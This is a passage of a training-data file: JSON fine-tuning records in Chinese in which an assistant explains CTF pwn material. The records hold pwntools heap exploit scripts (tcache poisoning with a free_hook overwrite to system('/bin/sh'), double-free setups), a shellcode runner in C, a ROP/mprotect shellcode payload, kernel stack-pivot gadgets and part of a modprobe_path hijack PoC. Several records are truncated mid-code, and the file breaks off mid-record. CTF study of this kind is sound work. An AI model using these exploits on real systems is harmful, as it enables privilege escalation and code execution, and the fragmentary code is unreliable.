{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-250c79dbb0292f50d682", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「注记」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 注记\n\n[编辑] 我发现内核中有一个有用的gadget：`0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;` 它等价于`mov rsp, rdx`。如上所述，`RDX`可以通过`ioctl()`的第3个参数完全控制。所以可能不需要做这个两阶段的kROP。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6502af70fae858f8", "original_line": 401, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-253b84e514a65936e1d4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ioctl 命令」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## ioctl 命令\n\n从 `d3kheap2pro_ioctl` 恢复出以下命令：\n\n| 命令值 | 小端 ASCII | 作用 |\n|---:|---|---|\n| `0x3361626e` | `nba3` | alloc |\n| `0x74747261` | `artt` | free |\n| `0x4e575046` | `FPWN` | 未完成，基本只打印日志 |\n| `0x54433344` | `D3CT` | 未完成，基本只打印日志 |\n\n汇编里还能看到 `0x54433343`，小端为 `C3CT`，但它只是编译器生成比较树时使用的边界值，不是有效功能分支。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-607f06792ea33efe", "original_line": 365, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-262c345148ad32a692a8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_limit/32.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_limit/32.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include \n\nint main(int argc, char *argv[])\n{\n  unsigned char shellcode[]= \"\\xeb\\x0d\\x59\\x83\\xe9\\x17\\x66\\x81\\x39\\x51\\x59\\xe0\\xf9\\xff\\xe1\\xe8\\xee\\xff\\xff\\xff\";\n  void (*ret)() = (void(*)())shellcode;\n  ret();\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-9562c38b7ef00f5f", "original_line": 551, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/32.c", "split": "train", "split_group_key": "8f075221a35dc8728e5e3cf1"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/32.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-268bd48872b59221b7b2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unlink/ZCTF_2016_note3/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unlink/ZCTF_2016_note3/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dbg`\n- `dele`\n- `edit`\n- `get_sb`\n- `show`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('/glibc/2.23/amd64/lib/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(i):\n    sa(': ', i)\n\ndef add(size, con):\n    cmd('1')\n    sa(': \\n', str(size))\n    sa('Content: ', con)\n\ndef edit(idx, con):\n    cmd('2')\n    sa(': \\n', idx)\n    sa('content: \\n', con)\n\ndef show(idx):\n    cmd('4')\n    sa(': ', '4')\n    sa(': \\n', idx)\n\ndef dele(idx):\n    cmd('3')\n    sa(': ', '3')\n    sa(': \\n', idx)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-809072282e8b68b6", "original_line": 42, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/ZCTF_2016_note3/exp.py", "split": "train", "split_group_key": "5e030c20c3245e1d7c5a5ec8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/ZCTF_2016_note3/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-26f11171b8de5cbcb6fe", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 例题\n\n- exp\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\n\nadd_chunk(1, 0x10)\n\ndelete_chunk(0)\n\nshow_chunk(0)\n\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3afca0\n\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x240)\n\ndelete_chunk(0)\n\ndelete_chunk(0)\n\nadd_chunk(0, 0x240)\n\nshow_chunk(0)\n\nheap_base = u64(p.recvuntil(('\\x55', '\\x56'))[-6:].ljust(8, '\\x00')) & ~0xFFF\n\ninfo(\"heap base: \" + hex(heap_base))\n\nedit_chunk(0, p64(heap_base + 0x10))\n\nadd_chunk(0, 0x240)\n\nadd_chunk(0, 0x240)\n\ndelete_chunk(0)\n\nadd_chunk(0, 0x240)\n\ngdb.attach(p)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-469078237fc29ec4", "original_line": 70, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2750c690da5d7d7e9d11", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/RWCTF2022 高校赛 - Digging into kernel/dbg.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/RWCTF2022 高校赛 - Digging into kernel/dbg.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- io-file/fsop\n- kernel\n\n关键常量/偏移样例：\n`0xffffffffc00ca000`\n\n训练用代码片段：\n```bash\n#!/bin/sh\n\ngdb -q \\\n        -ex \"file vmlinux\" \\\n        -ex \"add-symbol-file ./xkmod.ko 0xffffffffc00ca000 \" \\\n        -ex \"target remote localhost:1234\" \\\n        -ex \"b xkmod_ioctl\" \\\n        -ex \"b xkmod_open\" \\\n        -ex \"b xkmod_release\" \\\n        -ex \"info b\"  \\\n        -ex \"continue\"\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-b862c270c66026fb", "original_line": 326, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/dbg.sh", "split": "train", "split_group_key": "c6adfb4d47176882d81d8c11"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/RWCTF2022 高校赛 - Digging into kernel/dbg.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-275f52447cada9b75f7f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「asm(shellcraft.sh())长度为0x30」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# asm(shellcraft.sh())长度为0x30\nshellcode = asm(shellcraft.sh())\n\n#0x40 为 mrpotect 的 rop 链的长度，0x38 为 a 的长度，0x8 为填充地址的长度，目的是返回到 shellcode\npayload2 += b\"a\"*0x38 + p64(0x601020+0x40+0x38+0x8) + shellcode + b\"A\"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)\n\nsl(payload2)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-dd89e3be3fa762cf", "original_line": 614, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-28016616be0dff670a90", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「申请结构体、链表链接与数据拷贝」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 申请结构体、链表链接与数据拷贝\n\n`do_msgsnd()` 中会调用 `load_msg()` 初始化消息：\n\n```c\nstatic long do_msgsnd(int msqid, long mtype, void __user *mtext,\n        size_t msgsz, int msgflg)\n{\n    struct msg_queue *msq;\n    struct msg_msg *msg;\n    int err;\n    struct ipc_namespace *ns;\n    DEFINE_WAKE_Q(wake_q);\n\n    ns = current->nsproxy->ipc_ns;\n\n    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)\n        return -EINVAL;\n    if (mtype < 1)\n        return -EINVAL;\n\n    msg = load_msg(mtext, msgsz);\n    /* ... */\n}\n```\n\n`load_msg()` 负责申请消息并从用户态拷贝数据到内核：\n\n```c\nstruct msg_msg *load_msg(const void __user *src, size_t len)\n{\n    struct msg_msg *msg;\n    struct msg_msgseg *seg;\n    int err = -EFAULT;\n    size_t alen;\n\n    msg = alloc_msg(len);\n    if (msg == NULL)\n        return ERR_PTR(-ENOMEM);\n\n    alen = min(len, DATALEN_MSG);\n    if (copy_from_user(msg + 1, src, alen))\n        goto out_err;\n\n    for (seg = msg->next; seg != NULL; seg = seg->next) {\n        len -= alen;\n        src = (char __user *)src + alen;\n        alen = min(len, DATALEN_SEG);\n        if (copy_from_user(seg + 1, src, alen))\n            goto out_err;\n    }\n\n    err = security_msg_msg_alloc(msg);\n    if (err)\n        goto out_err;\n\n    return msg;\n\nout_err:\n    free_msg(msg);\n    return ERR_PTR(err);\n}\n```\n\n`alloc_msg()` 根据消息长度分配首个 `msg_msg` 以及后续 `msg_msgseg`：\n\n```c\n#define DATALEN_MSG    ((size_t)PAGE_SIZE - sizeof(struct msg_msg))\n#define DATALEN_SEG    ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg))\n\nstatic struct msg_msg *alloc_msg(size_t len)\n{\n    struct msg_msg *msg;\n    struct msg_msgseg **pseg;\n    size_t alen;\n\n    alen = min(len, DATALEN_MSG);\n    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);\n    if (msg == NULL)\n        return NULL;\n\n    msg->next = NULL;\n    msg->security = NULL;\n\n    len -= alen;\n    pseg = &msg->next;\n    while (len > 0) {\n        struct msg_msgseg *seg;\n\n        cond_resched();\n\n        alen = min(len, DATALEN_SEG);\n        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);\n        if (seg == NULL)\n            goto out_err;\n        *pseg = seg;\n        seg->next = NULL;\n        pseg = &seg->next;\n        len -= alen;\n    }\n\n    return msg;\n\nout_err:\n    free_msg(msg);\n    return NULL;\n}\n```\n\n由此可以得到：\n\n- `msg_msg` 头部大小为 `0x30`。\n- 首个 `msg_msg` 最大可承载 `PAGE_SIZE - sizeof(struct msg_msg)` 的数据。\n- 如果消息长度大于 `DATALEN_MSG`，多余内容会继续放入 `msg_msgseg`。\n- 如果剩余内容仍大于 `DATALEN_SEG`，则继续分配更多 `msg_msgseg`。\n- 单条消息内部是 `msg_msg -> msg_msgseg -> msg_msgseg -> ...` 的单向链表。\n- 不同 `msg_msg` 之间通过 `m_list` 连接，以 `msg_queue` 为头节点形成双向循环链表。\n\n申请调用链：\n\n```text\ndo_msgsnd -> load_msg -> alloc_msg\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3caed60bbe973316", "original_line": 339, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-280327f56b450ee645ef", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/fastbin attack/fastbin-double_free/roarctf_2019_easyheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/fastbin attack/fastbin-double_free/roarctf_2019_easyheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dbg`\n- `dele`\n- `get_sb`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('roarctf_2019_easyheap')\nio = process([elf.path])\nlibc = ELF('/buu/64/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(i):\n    sa('>> ', i)\n\ndef add(size, con):\n    cmd('1')\n    sa('size\\n', str(size))\n    sa('content\\n', con)\n\ndef show(idx):\n    cmd('3')\n    sa(': ', '4')\n    sa(': \\n', idx)\n\ndef dele(idx):\n    cmd('2')\n    sa(': ', '3')\n    sa(': \\n', idx)\n\nsla(\"name:\",\"aaa\")\nsla(\"info:\",\"aaa\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-e872bf308dca398f", "original_line": 9, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/roarctf_2019_easyheap/exp.py", "split": "train", "split_group_key": "2a9ce7c3ce647696b8a550ac"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/fastbin-double_free/roarctf_2019_easyheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2867870f94e26369330a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「libc 泄漏」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## libc 泄漏\n\n先申请 9 个 `0x300` chunk：\n\n```python\nfor i in range(9):\n    add(i, 0x300, b\"a\")\n```\n\n然后释放 8 个：\n\n```python\nfor i in range(8):\n    delete(i)\n```\n\n`tcache[0x310]` 最多放 7 个，第 8 个进入 unsorted bin。此时未释放的第 9 个 chunk 用来防止和 top chunk 合并。\n\n之后申请：\n\n```python\nadd(0xa, 0x400, b\"a\")\nadd(0xb, 0x100, b\"\\x01\")\n```\n\n`0x100` 的申请会从较大的空闲 chunk 中切出，chunk user data 里残留 unsorted bin 的 `fd/bk` 指针。我们只写入一个字节 `\\x01`，所以 `show(0xb)` 可以泄漏出：\n\n```text\n0x01 + main_arena 指针剩余字节\n```\n\n计算 libc 基址：\n\n```python\nshow(0xb)\nleak = u64(io.recvn(6).ljust(8, b\"\\x00\"))\nlibc.address = leak - 1 - 0x21af00\n```\n\n相关 libc 偏移：\n\n```text\nputs              0x80e50\nsystem            0x50d70\n_IO_2_1_stdout_   0x21b780\n_IO_wfile_jumps   0x2170c0\n_IO_file_jumps    0x217600\n_IO_list_all      0x21b680\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-62b896a83ac8be18", "original_line": 194, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2892c80532ffd6e72c43", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache key/2.33.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache key/2.33.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dele`\n- `edit`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x04fa60`, `0x1e0ca0`, `0x1e3e20`, `0x7fb7146378e6`, `0x00000005585346c6`\n\n训练用代码片段：\n```python\n#encoding=utf-8\n#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook\nfrom pwn import *\nprint(hex((0x7fb7146378e6)^(0x00000005585346c6)))\nr=process('./pwn')\ncontext.log_level='debug'\nlibc=ELF('./libc-2.33.so')\ndef add():\n\tr.sendlineafter(\"4. edit a page\\n\",str(1))\n\ndef dele(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(2))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\ndef show(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(3))\n\tr.sendlineafter(\"idx\\n\",str(idx))\ndef edit(idx,con):\n\tr.sendlineafter(\"4. edit a page\\n\",str(4))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\tr.sendafter(\"Content:\",con)\nfor i in range(10):\n\tadd()\nfor i in range(9):\n\tdele(i)\n\nshow(0)\nr.recvuntil(\"Content:\")\nheap1=u64(r.recv(5)+b'\\x00'*3)\nprint(hex(heap1))\nedit(7,'\\xa0')\nshow(7)\nr.recvuntil(\"Content:\")\nlibc=u64(r.recv(6)+b'\\x00'*2)-0x1e0ca0\nprint(hex(libc))\nsystem= libc+0x04fa60\nf_hook = libc+0x1e3e20\nreal=((f_hook^heap1))\nprint (hex(real))\nedit(7,'\\x00')\nedit(6,p64(real))\nadd()\nadd()\nedit(10,\"/bin/sh\\x00\")\nedit(11,p64(system))\ndele(10)\n#gdb.attach(r)\nr.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-24a506c2df8bc1e4", "original_line": 35, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/2.33.py", "split": "train", "split_group_key": "a8e077ccc01447dd390a245d"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/2.33.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-28e9277c0caf3ed6f244", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「PoC」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "6d742f;\n    modprobe_path_buf[0x14]=0x68732e7375;\n\n\n    for (int i = 1; i < 0x3; i++)\n    {\n\n        int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);\n        if (ret < 0)\n        {\n            puts(\"[x] msgsnd!\");\n            return -1;\n        }\n    }\n    RED puts(\"[*]edit modprobe_path success.\"); CLOSE\n    modprobe_path_hijack();\n\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-62c1f2badabb6d75", "original_line": 342, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2a04dcc1ba13a98f46a5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/hitcontraining_uaf/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/hitcontraining_uaf/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `dele`\n- `quit`\n- `show`\n\n利用主题关键词：\n- uaf/double-free\n\n关键常量/偏移样例：\n`0x8048945`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, 